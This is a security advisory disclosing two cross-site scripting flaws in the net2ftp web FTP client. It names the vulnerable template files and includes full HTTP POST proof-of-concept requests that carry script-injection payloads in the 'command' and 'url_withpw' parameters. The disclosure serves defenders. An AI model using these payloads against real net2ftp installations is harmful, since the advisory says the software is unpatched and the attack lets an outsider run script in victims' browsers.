*Summary*

Subject: net2ftp XSS in "command" and "url_withpw" parameters

Versions vulnerable: ALL (Tested on latest, version 1.0)

Category: 0-day

Impact: Medium

*Description of the product*

net2ftp is a web based FTP client (_http://www.net2ftp.com/index.php_
<http://www.net2ftp.com/index.php>). It can be used as a standalone version and also integrated in some web platforms as ISP providers, e-commerce sites and other websites.

*Description of the vulnerabilities*

Doing a vulnerability research on net2ftp, latest version 1.0. Jacobo Avariento had found several cross-site scripting (XSS) found in _skins/shinra/bookmark1.template.php_ (line 18) "url_withpw" parameter, and in _skins/shinra/raw1.template.php_ (line 5) with "command" parameter.

The first, parameter "url_withpw" is triggered when the user is placing a bookmark on that FTP connection.

The second, parameter "command", is triggered when the user access the FTP interactive mode for sending FTP arbitrary commands to the server.

*Proof of concept*

--- Parameter "command" ---

POST /net2ftp_v1.0/files_to_upload/index.php HTTP/1.1 
Host: 192.168.1.103 
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: _http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php_
<http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php> 
Cookie: net2ftpcookie_ftpserver=192.168.1.103; net2ftpcookie_ftpserverport=21; net2ftpcookie_username=anonymous; net2ftpcookie_language=en; net2ftpcookie_skin=shinra; net2ftpcookie_ftpmode=automatic; net2ftpcookie_passivemode=no; net2ftpcookie_protocol=FTP; net2ftpcookie_viewmode=list; net2ftpcookie_directory=%2F; PHPSESSID=HNM7kDAFz3Gpi%2CCUYHlUEt5nlmf 
Connection: close 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 391 
 
ftpserver=192.168.1.103&ftpserverport=21&username=anonymous&language=en&skin=shinra&ftpmode=automatic&passivemode=no&protocol=FTP&viewmode=list&sort=&sortorder=&state=raw&state2=main&directory=%2F&screen=&*command=*CWD+%0D%0APWD%0D%0A*%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22Sofistic%22%29%3B%3C%2Fscript%3E*&text=501+Invalid+number+of+arguments%0D%0A257+%22%2F%22+is+the+current+directory%0D%0A

----------------------------------------

 

--- Parameter "url_withpw" ---

POST /net2ftp_v1.0/files_to_upload/index.php HTTP/1.1 
Host: 192.168.1.103 
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: _http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php_
<http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php> 
Cookie: net2ftpcookie_ftpserver=192.168.1.103; net2ftpcookie_ftpserverport=21; net2ftpcookie_username=anonymous; net2ftpcookie_language=en; net2ftpcookie_skin=shinra; net2ftpcookie_ftpmode=automatic; net2ftpcookie_passivemode=no; net2ftpcookie_protocol=FTP; net2ftpcookie_viewmode=list; net2ftpcookie_directory=%2F; PHPSESSID=HNM7kDAFz3Gpi%2CCUYHlUEt5nlmf 
Connection: close 
Cache-Control: max-age=0 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 1141 
 
ftpserver=192.168.1.103&ftpserverport=21&username=anonymous&language=en&skin=shinra&ftpmode=automatic&passivemode=no&protocol=FTP&viewmode=list&sort=&sortorder=&state=bookmark&state2=main&directory=%2F&*url_withpw=*%2Fnet2ftp_v1.0%2Ffiles_to_upload%2Findex.php%3Fftpserver%3D192.168.1.103%26amp%3Bftpserverport%3D21%26amp%3Busername%3Danonymous%26amp%3Bpassword_encrypted%3D%26amp%3Blanguage%3Den%26amp%3Bskin%3Dshinra%26amp%3Bftpmode%3Dautomatic%26amp%3Bpassivemode%3Dno%26amp%3Bprotocol%3DFTP%26amp%3Bviewmode%3Dlist%26amp%3Bsort%3D%26amp%3Bsortorder%3D%26amp%3Bstate%3Draw%26amp%3Bstate2%3Dmain%26amp%3Bdirectory%3D%252F%26amp%3Bentry%3D*%22%3C%2Fa%3E%3Cscript%3Ealert%28%22Sofistic%22%29%3B%3C%2Fscript%3E*&url_withoutpw=%2Fnet2ftp_v1.0%2Ffiles_to_upload%2Findex.php%3Fftpserver%3D192.168.1.103%26amp%3Bftpserverport%3D21%26amp%3Busername%3Danonymous%26amp%3Blanguage%3Den%26amp%3Bskin%3Dshinra%26amp%3Bftpmode%3Dautomatic%26amp%3Bpassivemode%3Dno%26amp%3Bprotocol%3DFTP%26amp%3Bviewmode%3Dlist%26amp%3Bsort%3D%26amp%3Bsortorder%3D%26amp%3Bstate%3Dlogin_small%26amp%3Bstate2%3Dbookmark%26amp%3Bgo_to_state%3Draw%26amp%3Bgo_to_state2%3Dmain%26amp%3Bdirectory%3D%252F%26amp%3Bentry%3D&text=net2ftp+192.168.1.103

----------------------------------------

*Impact*

Due to a possible lack of validation of cookie and session parameters it is possible to trigger the attacks directly, without need to log in in the server or the website.

Because of this circumstances, the risk of the vulnerability is tagged as "medium" as there is no authentication and can be triggered in any net2ftp software online. It has been proved that several ISP providers use this software for their clients, among other customers.

*Timeline*

Jul 24/2016: The vendor has been already contacted, no reply until date of public diclosure.

*Actions***

We recommend all sysadmins and web developers who are using net2ftp software to review the files _skins/shinra/bookmark1.template.php_ and _skins/shinra/raw1.template.php_ manually, and patch the XSS because no official patches are released or planned yet.

*Contact***

Jacobo Avariento

Jacobo -*- sofistic -*- com





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Jacobo Avariento
Cybersecurity Consultant / Pentester

Sofistic S.A., Panama City